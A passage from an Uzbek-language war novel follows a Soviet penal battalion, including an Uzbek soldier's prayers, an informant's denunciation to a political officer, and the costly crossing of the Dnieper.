Кўп ўтмай Громов отряди етиб келди. Отряддан ўн бир киши ҳалок бўлибди, қолганлар саломат. Гречков Громовни дарҳол комбатнинг олдига бошлади. - Тезда отрядни овқатлантиринглар, нима топсанглар беринглар,- буюрди комбат,- сен эса ўтириб манови консервани еб ол, немислардан ўлжа, кейин бафуржа гаплашамиз. Комбат Гречков билан гаплаша бошлади. Қачон Громов қорнини тўйдириб унга қарагач, сўради: - У ёқда нималар бўлди? Громовнинг айтишича, улар нон пиширадиган корхона деб билаган нарса бутунлай бошқа нарса экан. - Биз у ерга ҳужум қилганимизда улкан палаткаларнинг бири портлаб кетди. У немисларнинг ёқилғи сақлайдиган, ниқобланган цистерналари бўлиб чиқди. Учтаси бир-бирига илашиб портлади, тўртинчисини ҳам бир амалладик. Униси, чамамда, ўқ-дори омбори бўлса керак. Портлашдан кейин орқа томонда қолдик. Ортга қайтдик, лекин йўлдан адашдик. Таваккал деб бу томонга келаётгандик, адашмабмиз. - Сизлар бутун танк дивизиясини тўхтатиб қолдинглар, баракалла. Душманни ортга чекинтиришимизда сизларнинг хизматингиз алоҳида бўлди,- уни қутлади Субботин. - Немисларнинг нима учун бор кучи билан ҳужум қилмаганининг сабаби бу ёқда экан-да,- сўз қотди Гречков. - Демак, душман таъминотдан узилибди. Мен тезда штабга хабар қилай,- комбат алоқачига имо қилди. - Биринчи, биринчи, тўртинчи сизни алоқага чақиряпти,- алоқачи аппаратни чуқилай бошлади. ХХХ Туни билан ибодат қилиб чиққан Шамсиддин тоға тонгга яқин мизғиб қолди. Ярим соатгина ухлаган бўлса ҳам ажойиб тушлар кўрди. Бомдодни ўқиб нонуштага чиққанда Настяга тайинлади: - Қизим, бугун эрингга албатта хат ёзгин. У анча катта одам бўлиб қолди, менга аён бўлди. Иложини топса, Нуриддинни кўздан қочирмасин. Унинг бошида бир мушкулот бор, аммо қандай мушкулотлигини билмайман. Яна аён бўлдики, урушда шу бугун жуда катта ўзгариш бўлади. Ё уруш тўхтайди, ё немис бошқа томонга қараб от солдиради. - Ажаб эмас, уруш тўхтаса. Ўғлингиз келарди, эрим ҳам биз билан дийдор кўришарди. Дуо қилинг, ота, яна "суф-суф" ҳам қилинг, душман тезроқ енгилсин. - Дуо қиляпман, қизим, дуо қиляпман. Кеча-ю кундуз дуодаман. Бизга ўхшаган қанча-қанча ота-оналар дуо қилишяпти. Ажаб эмаски, дуоларимиз ижобат бўлиб кетса. Настя бугун эрига хат ёзиб Нуриддиндан хабар олишни тайинлашга чол-кампирга сўз бериб ишга жўнади. Ўғлининг юзидан ўпиб хайрлашар экан унга уқтирди: - Бобонгдан " менга дуо қилинг, дадамга дуо қилинг", деб сўрагин. Намоз ўқиётганда ёнида ўтирсанг, дуо қилиш эсидан чиқмайди. Чол-кампир унинг гапидан кулдилар. ХХХ Йигирма кунлар ўтгач, дивизия сиёсий бўлимининг бошлиғи майор Пирогов хотинидан келган хатни ўқиб ўтирар экан ҳайратда эди. Настя ўша чолнинг " эринг катта ишга кўтарилди" деганидан бошлаб урушда бугун катта бурилиш бўлишини ҳам, ўғлининг бошида бир муаммо борлиги ҳақида ҳам батафсил ёзган, қўлидан келса, ёрдам беришини сўраганди. " У сенинг урушдан соғ-саломат чиқишингни ва катта одам бўлишингни башорат қилди" дерди Настя. Майор хат ёзилган санага қайта-қайта қарар, ўйга толарди. Бу чол қандай одам экан? Айнан ўша куни Сталинградда фельдмаршал Паульс қўмондонлигидаги армия таслим бўлишини қаёқдан билди? Ўзининг унвони кўтарилганини-чи? Ахир, бу ҳақда Настяга ҳали ёзмовди-ку. Ўғлининг бошидаги муаммо аниқ. У жарима батальонида. Бундай кароматнинг илмий исботи бормикин? Настя хатида бизнинг ва сенинг саломат юришимиз шу одамнинг дуоси шарофатидан деб таъкидларди. Пирогов ўтириб хат ёзди. Ўша одамнинг барча гапи тўғри чиққанини айтди. Ўғлидан хавотир олмаслигини, унинг мушкулоти урушда экалигини, қўлидан келганча унга ёрдам беришга ваъда берди. Ваъда берди-ю, лекин Нуриддинни жарима батальонидан тортиб ололмаслигини биларди. Аммо нима бўлса ҳам, унга бир куни катта ёрдам қилишни кўнглига тугиб қўйди. ХХХ Эрталабдан буён кўринмай қолган Азлар тушга яқин Нуриддинни излаб топди. - Қаёқда қолиб кетдинг? - Гречков билан штабга бориб келдим. Таъминотга кетишаётган экан, мен ҳам бир айланиб келай деб машинага чиқволдим. Сенга зўр хушхабар олиб келдим. Мановини қара. Азлар ёнидан тўрт букланган қоғоз олиб ёйди. Бу фронт газетаси эди. - Буни қара,- у газетадаги суратни кўрсатди,- бу - сенинг юртдошинг, ўқи. Суратда ёшгина йигит кулиб турарди. - Ўзбекми? Ёш экан, ҳали ўн саккизга ҳам тўлмаган, шекилли,- Нуриддин газетани олиб суратга тикилди. - Ҳа, шу ёшгина йигитча немисларнинг нақ йигирма тўртта генералини асир қилиб олиб чиқибди. Бир ўзи, Сталинградда. Исми шарифи Хуррам Ашуров! Ўқи. Нуриддин газетадаги расмга узоқ тикилиб турди. Худди ўз миллатдошини кўргандай кўзларига ёш тепиб чиқди. - Ма, ўзинг ўқиб яхшилаб тушунтириб бер,- у газетани Азларга узатди. Азларнинг қўлидага газетани кўриб дарров уч-тўртта одам йиғилди. Азлар мақолани баланд овозда ўқий бошлади. Ҳамма диққат билан қулоқ солди. - Баракалла,- деди Фадеев,- энди бу йигитчага Совет Иттифоқи Қаҳрамони унвони берилади. - Бу бола биронтаси қўлга туширганларни олиб бориб топширган бўлса керак. Келиб-келиб битта ўзбек қўлга туширадими, яна йигирма тўртта генерални-я? Бу қўланса гап Кружилингагина хос эди. - Ўчир овозингни, бадбўй одам!- ўшқирди Фадеев,- Нимага ўзбекларни пастга урасан? Агар Ўзбекистон бўлмаса, бу урушда ғалаба қозонолмаслигимизни биласанми?! Шу совуқда ҳаммамиз очдан ўлиб кетамиз. Ўзбек оғзидагини бировга берса берадики, бировнинг ҳақига кўз олайтирмайди! Биров қўлга туширганмиш, Ҳе... - Игорь, сен ўзи сал анақароқмисан? Эҳтимол, у ёғингга битта, бу ёғингга битта туширсам, шаригинг жойига тушиб қолар,- Дубо қўлидаги милтиғини Азларга бериб ҳезланди. - Мен нима дедим сизларга? Шунчаки гап-да,- Кружилин ортига тисланиб нарёққа кетди. - Сталинградда улкан бурилиш бўлибди. Урушнинг тақдири ҳал бўлди деяверинглар, бизнинг фойдамизга,- Петрушиннинг бу гапи ҳаммаларининг кўнглига чироқ ёқди. Гўё у " эрта-индин уруш тугайди, ҳамманглар уйга кетасизлар" дегандай бўлди. Фронт газетасининг бу сони бутунлай Сталинград жангига бағишланганди. Қачонлардан буён газета ўқимаган одамлар барча мақолаларни ютоқиб ўқиб чиқдилар. Газета қўлдан қўлга, взводдан взводга, ротадан ротага ўтди. ХХХ Хандақ устига ходалар ташланиб, устидан тупроқ ташланган ертўла. У икки хонадан иборат. Ичкариги хонада майор Пирогов қилинадиган ишлар режасини тузиб ўтирар, ҳар замонда "уф" тортиб қўярди. Ҳадеб чекаверганидан хона тутун ва ачимсиқ ҳидга тўлиб кетган. Қанча-қанча одамларнинг шахсий ҳужжатлари бор бу ерда. Барчасини камоли диққат билан ўрганиб чиқиш зарур. Бири қўрқоқлик қилган, бири асирликдан қочиб ўтган, бири сиёсатга тўғри келмайдиган гап айтган - ҳаммасини бирма-бир элакдан ўтказиш керак. Иш кўп. Боши ғовлаб, ташқари чиқиб ҳаво алмаштириб келиш учун ўрнидан турди. Даҳлизга чиқса, ёрдамчиси капитан Рубцов бир одам билан гаплашиб ўтирибди. Ранги заҳилроқ, кўзлари аланг-жаланг бу жангчининг уст-бошига қараганда сўроқ қилинаётганларнинг бири бўлса керак. Капитан уни кўриб ўрнидан туриб честь берди. - Ўтир, ўтир, давом эттиравер,- деди Пирогов, сўнг сўради:- қочоқларданми буям? - Йўқ, ўртоқ майор, жарима батальонидан келибди. Айтишича, у ерда бир жангчи ҳар хил диний расм-русумлар қилармиш, яна бир нечтаси антисовет гапларни гапиришармиш. - Ў-ҳў, ажойиб гап-ку. Бизбоп материал чиқади, шекилли. - Мен ҳам шунга қизиқиб ўтирибман, ўртоқ майор. - Ҳа, айтганча, кечаги жангдан қочган бешта жангчининг иши нима бўлди? - Жангдан қочмаганмиз, ўқ-дори учун келганмиз деб туриб олишяпти. Айбловларга қўл қўйишдан бош тортишди. - Рота командирини чақириб гаплашдингми? - Ҳа, рота командири ўқ-дори олиб келиш учун ўзим юборганман деб кўрсатма берди. - Улар жангдан қочадиганларга ўхшамайди. Сенингча қандай? - Менимча ҳам шунақага ўхшаяпти. - Уларнинг ишини ёп-да, роталарига жўнатиб юбор. Ҳозир ҳар бир жангчи ҳисобда. - Хўп бўлади, ўртоқ майор. - Бу жангчи билан эса ўзим шуғулланаман. Қизиқ гаплар чиқиб қолади, шекилли. Қани, бу ёққа юр-чи,- Пирогов жаримачини ўзининг хонаси томон имлади. - Ўтир,- деди хонага киришгач,- бир бошдан ҳеч нарсани қолдирмай гапириб бер, ҳа, айтганча, исми шарифинг ким? - Игорь Всеволодевич Кружилин. Жарима батальонининг биринчи рота биринчи взводиданман. - Яхши, Игорь Всеволодевич, энди гапир. Кружилиннинг айтишича, взводда бир ўзбек жангчиси бор экан. У динга берилган бўлиб, ҳатто, бир неча кароматлар ҳам кўрсатганмиш. Кўпчилик унинг ёнига бирлашиб олибди. Фадеев, Мақсудов, Дубов деганлари унинг ёнидан жилишмас экан. Ҳатто взвод командири Петрушин, рота командири Гречковлар ҳам унинг таъсирига тушиб қолишибди. Ҳар куни улар Сталин ва бошқа обрўли қўмондонларни ғийбат қилишиб, бўхтон гапларни тарғиб қилишаётганмиш. Айниқса, Дубов ва Фадеевларни зудлик билан қўлга олишмаса, улар зўрлик билан бошқаларни ҳам йўлдан уришлари тайин эмиш. Майор унинг гапини диққат билан эшитди. - Сен вақтида бизни огоҳлантирдинг, яхши. Бундай ишни узоқ ўрганиш керак. Материалларни йиғиб бориб охирида илдизи билан суғуриб ташлаш лозим. Бу ерга келиб тўғри иш қилибсан. Бундан кейин сен менинг кўзим ва қулоғим бўласан. Ҳар ўн беш кунда ёнимга келасан. Шахсан ўзимга учрайсан. Шахсан ўзим сендан хисобот оламан. Ҳозир эса барча айтганларингни ёз,- Пирогов столга уч-тўртта қоғоз қўйди,- бемалол ўтириб, батафсил ёз. Мен ташқарида чекиб тураман. Ярим соатлардан кейин қайтиб кирганда Кружилин гапларини ёзиб бўлиб уни кутиб ўтирарди. - Мана энди ниқобланган душманнинг думини босдик. Энди унинг бўғзидан олиш фурсатини пойлаймиз. Бу ишда сенинг хизматларинг алоҳида бўладиган бўлди. Бу ерга келганингни биров биладими? - Йўқ. - Яхши. Бировга сир айтма. Қайта уқтираман: шахсан ўзимга учрайсан. Мен уларга мана, алоҳида иш очаман,- Пирогов битта жилд олиб унга Кружилиннинг ёзганларини солди,- энди бор, ўн беш кундан кейин кутаман. Иложи борича кўпроқ маълумот олиб кел. Буларнинг ишини қанча тез тугатсак, сенинг ҳуқуқларинг шунча тез тикланади. Кружилин чиқиб кетди. Пирогов эса ўйланиб қолди. Пича ўтиргандан кейин ўзига ўзи деди: - Ўша чол айтган муаммо шу, шекилли. ХХХ "Темирни қизиғида бос" деганларидай бутун армия бир ҳужум қилди-ю, душманни ўзини ўнглашга қўймай Смоленьск томонга чекинишга мажбур қилди. Яна олдинга интилиш ҳақида буйруқ келди, аммо душман чекинаётиб Днепр дарёси бўйларини миналаштиришга улгурди, шунингдек, дарёдаги кўприклар ҳам портлатилганди. Узоқдан дарё кўриниб туради, ундан ўтиш учун эса алоҳида тайёргарлик лозим. Дарёнинг ўртаси музламаган, музлаган жойларда ҳам муз қалин эмас. Ана шу масала бутун армиянинг йўлини тўсиб қолди. Кўприк қуриш учун аввало, мина майдонини босиб ўтиш, ундан кейин дарёга чиқиш керак, аммо немислар дарё қирғоғини ниҳоятда кучли назорат қилади. Шунга қарамай, қандай қилиб бўлмасин Днепрни кечиб ўтиш вазифаси батальонга юклатилди. - Бу вазифани неча кунда уддалайсан?- сўради генерал Волохов Субботиндан. - Қўмондонлик қанча муддат берган?- саволга савол билан жавоб берди комбат. - Узоғи билан бир ҳафта. - Аввал вазиятни ўрганиш керак. Дарёга етиб боришнинг ўзи бўлмайди. - Қандай қилиб бўлса ҳам бу вазифани уддалашимиз керак, бўлмаса, калламиз кетади. Уддалаш шарт,- таъкидлади генерал. Субботин штабдан бутунлай тушкун кайфиятда чиқди. У келибоқ дардини рота командирларига айтди. Улар билан бирга траншеяга чиқиб дарёгача бўлган жойни чамалади. Уч юз метрлар чамаси жой текислик, миналаштирилган, ана шу ердан батальонни олиб ўтиш керак. - Дарё бўйи миналаштирилмаганмикин?- дурбинда кузатар экан сўради Канаев. - Менимча, йўқ,- деди Субботин,- аммо у ерга етиб олишни айт. Етиб борган тақдиримизда ҳам душманга тайёр нишон бўламиз қоламиз. - Етиб борибоқ дарёдан сузиб ўтиб душманга ташланишимиз лозим,- фикрини айтди Корзун. - Тўри-куя, дарёга етишни айт. - Сапёрлар бизга ёрдам берадими?- комбатга қаради Гречков. Ёрдам беришади-ю, бу қорда улар мина тополмайди, қорнинг қалинлиги тизза бўйи. - Оғир ва қалин темир бочка ясатамиз, узоқдан ёғочлар билан туртамиз, шундай қилиб йўлак очиш мумкин,- Канаев Субботинга қаради. Комбат унинг фикрини тушунди. - Ўша бочкалар қорни мина бор жойгача боса олармикин? - Тишли қилдирамиз. Кечалари аста-аста итариб бораверамиз. - Яхши, мен ҳозироқ сапёрлар ротаси билан гаплашаман. Сизлар айтилган бочкани ясай оладиган уста топинглар. Комбат ортига қайтиб, блиндаж томон кетди. Ротниклар уста топиш учун роталарга тарқалдилар. Бир соатдан кейин блиндажда тўрт жангчига Субботин қандай мақсадда бочка ясаш кераклигини тушунтирарди. Улар мақсадни англаганларидан кейин чиқиб кетишди. Эртасига эрталаб Канаев ротаси жойлашган маррада ўзлари ясаган мосламани намойиш қилдилар. Бу чор атрофи ярим қулочли темир тиш билан ўралган, узунлиги икки метрли ғўла эди. Уни ёғоч билан итариб думалатиб кўрдилар. Қорда думалаши қийин, бироқ бир амалласа бўларди. - Шундан яна тўртта ясанглар, иложи борича узоқдан думалатадиган бўлсин,- деди Субботин,- буни эса ҳозироқ синовдан ўтказамиз. Икки жангчи узунлиги тўрт қулочли биттадан ёғоч олдилар-да, мосламани итариб олдинга сура бошладилар. Уни суриб бориш жуда ноқулай, жангчилар ҳам ёнма-ён ётиб сурилишлари қийин, шунга қарамай бошқа чора йўқ эди. Эллик метрлар юргандан кейин комбат ортга қайтишларини буюрди. Ёғоч ва ғўлани жойида қўйиб иккови жангчи ортига қайтди. - Фақат кечаси навбатма-навбат шуғулланамиз, ўзим назорат қиламан. Бешта ғўладан биттаси қирғоққа етиб борса ҳам омадимиз, қирғоққа йўлак очиб оламиз. "Ҳужумга" деб буюришларидан олдин улгуришимиз зарур,- уқтирди Субботин. Кечқурун беш жойдан ана шундай ғўлалар йўлга тушди. Олтмиш метрлар юргач, ўртадаги ғўла минага дуч келиб портлади. Иккинчи ғўла ундан беш метрча олдинга ўтди, холос, у ҳам кўкка учди. У томондан эса душман артиллерияси ишга тушди. Бироқ уч-тўрт марта отишгандан кейин тўхтади. Уч кундан кейин биттагина ғўлани қирғоққача олиб боришга муваффақ бўлдилар. Канаев ротасининг икки жангчиси куни бўйи ўша ерда қолиб кетишга мажбур бўлди. Улар ётган жойларида чуқур қазиб олаётганларини Субботин дурбинда кузатиб турди. - Буйруқ келиши билан шу издан бутун батальонни олиб ўтишимиз керак,- деди у Канаевга. - Бу йўлга сиғмаймиз. Бир кун олдин дарё бўйида позиция тутишимиз керак. Дарёнинг ўтиш учун қулай жойини ҳам ўша ерда белгилаймиз,- маслаҳат солди Канаев. - Бу гапинг ҳам тўғри. Аммо душман бизни қирғоққа яқинлаштирармикин? - Фақат кечаси бу ишни амалга оширамиз. Ўнта-ўнтадан жангчиларни жўнатаверамиз. Канаевнинг бу гапи комбатга ҳам, ротникларга ҳам маъқул тушди. Кейинги уч кеча давомида батальон дарё қирғоғига ўрнашиб олди. Мана энди нариги бетга сузиб ўтиш масаласи кўндаланг бўлди. Разведка маълумотларига кўра, улардан икки чақирим чапроқда дарёнинг кўприги бор. Бироқ кўприк шу даражада қаттиқ қўриқланадики, унга яқинлашишнинг имкони йўқ. Агар шу кўприк қўлга киритилса, бутун армияга йўл очилади. Бу ишни қандай бўлмасин уддасидан чиқмоқ керак. Аммо қандай қилиб? Бунинг устига дивизия штабидан эртага дарёни кечиб ўтиш ҳақида буйруқ келди. Буйруқ - буйруқ. Уни инкор этишнинг иложи йўқ. Командирлар узоқ мулоҳаза қилдилар. Охири, дарёнинг музи кўпроқ жойини белгилашди. Дарё катта бўлгани учун ўртаси музламаган, сувдан енгил буғ чиқиб ётарди. Субботиннинг буйруғи билан наридан бери соллар ясалди. Тўртта-бешта ходалар бирлаштирилиб ясалган бу солларда сузиб ўтишнинг ўзи бўлмасди. Комбат таваккал қилишга қарор қилди. ХХХ Изғирин. Совуқ. Қаттиқ шамол аралаш қор бўрон бошланди. Гречков бутун ротани яна ярим соатдан кейин, яъни қоронғи тушиши билан кечув бошланиши ҳақида огоҳлантирди. Тизза бўйи келадиган, четидаги қор билан ҳисоблаганда бир ярим метрли окопда ўтирган Нуриддин Азларни ёнига чорлади. Кўзларини юмиб олиб узун бир сурани ўқиди. Кейин узоқ дуо қилди. Яна тиловат қилди. Сўнг ўзига, Азларга, уларнинг қатига келиб ўтирган Фадеевга дам урди. Яна дуо қилди. Азлар қараса, Фадеев ҳам уларга ўхшаб қўлларини очиб ўтирибди. Кулгиси келди, лабларини тишлади. - Нимага куласан?- билиб қолиб қовоғини солди Вадим,- мен ҳам худога ишонаман. Дининг бошқа бўгани билан яратган битта-ку. Сизлар ундан нажот сўраяпсизлар, мен ҳам қўшиляпман. - Йўқ, йўқ, сенинг устингдан кулмаяпман, аксинча, хурсанд бўлганимдан,- ўзини оқлади Азлар. - Ҳаммага дуо қилдим. Мусулмонми, христианми- ким бўлишидан қатъий назар ҳаммамизни сақлашини ўтиндим. Худога ишонганинг - кўнглинг софлиги. Барчамиз унинг ожиз бандаларимиз. Нуриддин Вадимга қараб жилмайиб қўйди. У эса бунинг елкасига туртди. - Рота-а, солларга!- Гречковнинг овози эшитилди. Учови ҳам ўринларидан турдилар. Қорбўрон юзларга урилди, бурунларни чимчилади, кўзларни қўл билан тўсишга мажбур қилди. - Солга чиққандан кейин ҳеч ким овоз чиқармайди!- буюрди Гречков. Бу қаҳратонда дарёни сузиб ўтишнинг ўзи даҳшат эди. Учови бориб битта солга чиқдилар. Ўнлаб одам чиқиб олган ходалар сувга ботиб-ботиб борар, унсизгина узун ёғочлар билан солни итаришди. У оғир силжиди. Оёқлар тўпиққача сувга ботди. Қўллар тараша бўлиб қотиб қолди. Аскарлар иложи борича товуш чиқармай соҳилга яқинлашиб олишни исташарди. Увиллаётган бўрон буларнинг ҳам шўри, ҳам омади эди. Бу бўронда музлаб қолиш ҳеч нарса эмас, сувга тушдинг - тамом. Омад шу эдики, душман назорати сусайганди. Чорак соат деганда олдинги соллар қирғоққа урилди. Негадир душман томондан бирон ҳаракат сезилмасди. Хавотирга ўрин қолдирмай, учови тушган сол ҳам соҳилга эсон-омон етиб борди. - Оёғингга сув ўтдими?- пичирлади Азлар. - Билмадим, совуқни сезмаяпман,- деди Нуриддин. - Немиснинг этиги пишиқ бўлади, сув ўтказмайди. Дарёнинг бу бети дарахтзор бўлиб, немис позицияси кўринмасди. Комбат батальонни дарахтлар оралаб бошлаб кетди. Нақ юз эллик метр юрганларидан кейин у тўхтаб қўлини кўтарди. Ротникларга бор қуроллардан бараварига ўт очиб ташланишларини уқтириб яна олдинга юрди. Яна эллик метрча юриб тўхтади-да, қўлини кўтарди, сўнг олдинга югуришларини ишора қилди. Душман бор-йўғи ўттиз-қирқ метрлар нарида эди. Тўсатдан қилинган ҳужум душманни эсанкиратиб қўйди, автомат, милтиқлар отилар, гранаталар портлар, ҳамма ўзини душман устига ташлади. Пулемёт нуқталари бир зумда яксон қилинди. Ярим соатда окоп эгалланди. Беш юз метрлик масофа қўлга киритилди. Комбат шунда ҳам жангчиларни тўхтатмади. Беш қадам нари кўринмайдиган қорбўронда яна олдинга интилдилар. Иккинчи линияда артиллерия батареялари жойлашганди. Ана шу ерга етиб бордилар. Бу ерда ҳам жанг узоқ давом этмади. Душманнинг ўн олти тўпи қўлга киритилди. Бу ерни эгаллаганларидан кейин тўплар ортга бурилди. Талофатсиз қўлга киритилган бу қуроллар катта хазина эди. Биринчи линияда ҳам, иккинчи линияда ҳам катта ўқ-дори заҳираси қўлга киритилди. Яна муҳими шу эдики, бу ерда озиқ-овқат заҳираси ҳам бор эди. Тириклик манбаи. Батальоннинг тақдири шунга боғлиқ, ахир. Тонгга яқин бўрон шунақанги кучайдики, бош кўтаришнинг иложи бўлмай қолди. Шамол учираман дейди. Бу бўронда душман ҳужум қилолмаслиги аниқ бўлиб қолди. Шундан фойдаланиб батальон маҳкам ўрнашиб олди. Йўқотишлар ҳам анчагина эди. Олтмиш нафарга яқин одам сузиб ўтиш пайтида, ўттиздан ортиғи жангда йўқотилганди. Нуриддин билан Азлар, Вадим учови тезда ўзларига бошпана топдилар. Окоп ичида жойлашган кичкинагина, атрофи ва усти ёпиқ жойда етти киши сиқилишиб жойлашдилар. Шундай бўлса ҳам ўт ёқишди. Кўпчиликнинг усти буткул хўл бўлганидан шақирлаб музлаб қолганди. Оёғи музлаб қолганидан Дубов ҳатто этигини ечолмади. Навбатма-навбат пайтаваларни ечиб қуритдилар. Этиклар, шинеллар қуритилди. Кўз очирмаётган бўрон тўртинчи кун тонгда тўсатдан тўхтаб қолди. Субботин батальонни суриштириб тўп отишга уқуви етадиганларни йиғиб қўйганди. Жаримачилар ичида ҳам артиллеристлар анчагина экан. Бўрон тўхташи билан артиллерия ишга тушди. Мақсад душманни кўз очиришга қўймаслик эди. Бир амаллаб тикланган алоқа линиясида генерал Волоховнинг овози эшитилди: - Сенда артиллерия овози эшитиляпти, бу нима? Субботин унга тўпларни қўлга киритганини, шу тўплардан душманнинг ўзига отаётганини тушунтирди. - Баракалла, позицияни маҳкам ушла. Сенга тезда ёрдам етиб боради. Мина даласидан қандай ўтиб кетдинг? Полклар ўтолмаяпти. Комбат қандай қилиб ўтганини айтди. Бу бўронда улар ўтган излар супурилиб кетган, энди у даладан ўтиш учун чора топиш керак эди. Генерал тезда қўшимча куч юборишга яна бир бор ваъда бериб алоқани узди. ХХХ Гарчи генерал ёрдамга тез етиб боришларини айтган бўлса ҳам, бир ҳафтадан ўтдики, ёрдам етиб келмади. Душман позицияни қайтариб олиш учун тиришиб ҳаракат қилар, кунда бир неча маротаба унинг ҳужуми қайтариларди. Дастлаб тўплар ишдан чиқди. Сўнгги снарядгача отиб тугатдилар. Олтита тўп танклар ўқидан мажақланиб кетди. Батальон кучсизлангани сайин душман қутуриб борарди. Бир неча марта немислар окопларгача етиб келдилар, аммо, барибир, позицияни тортиб ололмадилар. Еттинчи кун батальоннинг икки юзга яқин қолган жангчиси душманнинг яна бир ҳужумини қарши олди. Бу охиргиси бўлиши аниқ эди. Чунки шу жангдан кейин батальонда одам қолмаслиги мумкин. Сўнгги гранаталар, сўнгги патронлар қолганди жангчиларда. Шунга қарамай танклар ҳужуми мардонавор қайтарилди. Навбат пиёдалар ҳужумини қайтаришга келганди. Автоматлар битта ўқ отадиган қилиб созланди. Ўқни тежаш зарур. - Биттадан ўқ отинглар, ўқни тежанглар!- қичқирарди Гречков. Ўзи гоҳ у ерда, гоҳ бу ерда пайдо бўлар, бор овози билан бақирарди. Тушга яқин, барибир, душман пиёдалари окопларга ёриб кирдилар. Аёвсиз қўл жанги бошланди. Нуриддин ва Азларнинг ёнида доимгидай Вадим. Уларнинг рўпарасидан уч немис автоматчиси бостириб келарди. Оралиқ ўн қадамлар қолганда Нуриддин сўнгги ўқи билан олдинда келаётганини отиб қулатди. - Ёт!- қичқирди Вадим. Учови ҳам чўк тушдилар. Немис автоматчиларининг бири шиддат билан келаётганидан окопга яқин чалишиб боши билан мункиди. Уни Азлар бошига қўндоқ билан туширди. Иккинчиси окопдан сакраб ўтаётган пайтда биров бир сакради-ю, унинг оёғидан қучиб қолиб окоп ичига қулатди. Бу Дубовнинг иши эди. Вадимнинг бир зарбаси билан немис жон берди. Тезда қуроллар олинди. - Қойил, Миша, сен мушук экансан,- деди Вадим. Уларга яқин жойда яна олишув кетмоқда эди. Вадим шу томон интилди. Бир лаҳзада яна тўрт душман маҳв қилинди. Петрушин ва Громов дарров автоматларни олдилару нарёққа югурдилар. - Биз бу ёқдагиларга ёрдамга борамиз!- дея Вадим ортига қайтди. Ўн қадам юрмай ўқ узаётган немис автоматчисини отиб йиқитди. - Нурик, бу қурол сенга! Йигирма қадамлар нарида камида йигирмата одам қирпичоқ бўлаётганди. Вадим сакраб окоп қирғоғига чиқди-да, югуриб бориб ўзини тўда ичига отди. Бу ерда немисларнинг қўли баланд келмоқда эди. Нуриддиннинг кўргани шу бўлдики, Гречков ёқавайрон, икки немиснинг автоматини бир-бирига қаратиб ушлаб олган, улар эса уни тепишаётганди. Азлар бирининг, Нуриддин бирининг бошига қўндоқ билан туширганларидан кейин Гречков ерга ўтириб қолди. Шу заҳоти устига иккови немис йиқилди. Яна бир неча лаҳзадан кейин олишув тугади. Ерда жасадлар бирининг устига бири қалашиб кетганди. Алексеев ва Гречковни турғиздилар. Иккови ҳам турибоқ немис автоматларига интилишди. - Тезроқ, кўпроқ олинглар, у ёқда ўзимизникилар... оғир...- ҳансираб гапиролмай қолди Гречков. - Кетдик, йигитлар,- Вадим яна нариги томон ўртоқларини бошлади. Ўттиз қадамлар юришгач, яна немисларга дуч келишди. Бу ерда ҳам олишув кетмоқда. Отишнинг имкони йўқ. Ўзимизникиларга тегиши мумкин. Бу ерда Субботиннинг ўзи жангчилар билан бирга елкама-елка олишаётганди. Вадим, Михаил, Азлар, Нуриддин - тўртовининг шиддат билан ташланиши масалани ҳал қилди. Орқадан Алесеев билан Громов ҳам етиб келишди. - Йигитлар, ўт оч!- қичқирди Субботин. Ўттиз қадамлар олдинда немислар югуриб келмоқда эди. Шу тобда Нуриддиннинг оёғи остига бир нарса тушди. Ҳушёр экан, Дубов эгилди-ю, бир ҳаракат билан ҳалиги нарсани олиб ирғитиб юборди - портлаш эшитилди. Барчалари баравар ўт очдилар. Душман ётиб қолди. - Кимда граната бор?!- қичқирди Субботин. - Ҳозир ўзлари отади!- жавоб берди Дубов. У кўзлари олазарак бўлиб у ёқдан бирор нарса тушармикин деб пойлаб турарди. - Миша, эҳтиёт бўл, қўлингда портлаб кетмасин!- унинг мақсадини тушуниб огоҳлантирди Гречков. - Уларники ерга тушгандан кейин уч секундда портлайди, улгураман! Ўнг томонда автомат тариллади, демак яна кимдир тирик. Ўқлар эса тугаб борар, бунга сайин немислар кўпайиб борарди. Ниҳоятда оғир вазиятда қолган Субботин қичқирарди: - Йигитла-а-ар! Окопга яқинлаштирмай от! От!!! Ўлар-тириларига қарамай олдинга ташланган немислар яна окопга етиб келдилар. Яна қўл жанг бошланди. Худди шу лаҳзада орқада автоматлар тариллади, кучли сел оқими урилгандай "Ура-а-а!" деган садолар эшитилди. Полковник Боровкин қисми аскарлари дарёни кечиб ўтишга муваффақ бўлган, ёрдамга етиб келишга улгуришганди. Бутун полк ёйилиб ҳужумга ўтиб келарди. Дастлабки аскарлар окопга етиб келишлари биланоқ душман аскарлари чекина бошлади. Бу қорда ортга югуриш ҳам осон эмасди улар учун. Окопдан чиқиб қочганларнинг деярли барчаси ўққа учди. Қисм окопларни босиб ўтиб кетди. Икки чақирим ғанимни қувиб борди-ю, ортга қайтди. Душманнинг жуда катта қисми йўқотилганди. Бу шу пайтгача эришилган ғалабаларнинг энг каттаси бўлиб, батальондаги йўқотишлар ҳам шунга яраша эди. Батальон қирилиб кетиш арафасига келганди. ХХХ Эртасига немислар бутун кучи билан маррани қайтариб олиш учун ҳужум қилиб кўрди. Бир томондан Трубишев қисми, бир томондан Боровкин қисми шундай зарба бердики, икки соатга қолмай ортга чекинишга мажбур бўлди. Энди ҳужум қилиш навбати бу томонга ўтганини англаган немислар бу сафар узоқроқ чекинишга қарор қилди, шекилли, разведка маълумотларига кўра, улар Ярцево шаҳарчасига яқин жойга бориб мудофаа истеҳкомлари тиклай бошлабди. Бу дарёдан деярли эллик чақиримдан зиёд жойда эди. Батальонда омон қолган олтмиш етти нафар жангчини душманга яқин ерга олиб бориш ҳақида дивизия штабидан буйруқ берилди. Оғир жангнинг эртасигаёқ бундай вазифани бажариш қийин эди. Жангчилар ҳаддан зиёд ҳолдан тойган, деярли ҳафта давомида уйқу нималигини билмагандилар. Шунга қарамай, комбат буйруққа кўра, батальонни кечаси йўлга бошлашга мажбур бўлди. Энди уларга бу ерда қиладиган иш йўқ, марра эгалланганди. Рота командирлари ҳеч бўлмаса, тонгга қадар дам беришни сўрашди-ю, уларнинг талаб дарров рад этилди. Мана энди батальоннинг қолган-қутгани чала-ярим таъминот - қуруқ озиқ билан йўлга тушди. Икки чақирим юришгач, қандайдир йўлга чиқиб олдилар. Бу ердан яқингинада немис техникаси ўтгани билиниб турарди. Машина йўлида икки саф бўлиб кетиб боришар, ҳолдан тойган одамлар юриб боришарди-ю, мункиб- мункиб кетишар, юриб кетаётиб ухлаб қолиб йиқилиб тушишарди. Шу тариқа ярим тунгача йўл юрганларидан кейин комбат одамларни дарахтлар ўсган қиялик этагида тўхтатди. У жангчиларнинг ахволига ачинганидан " нима бўлса, бўлар" деган қарорга келди, 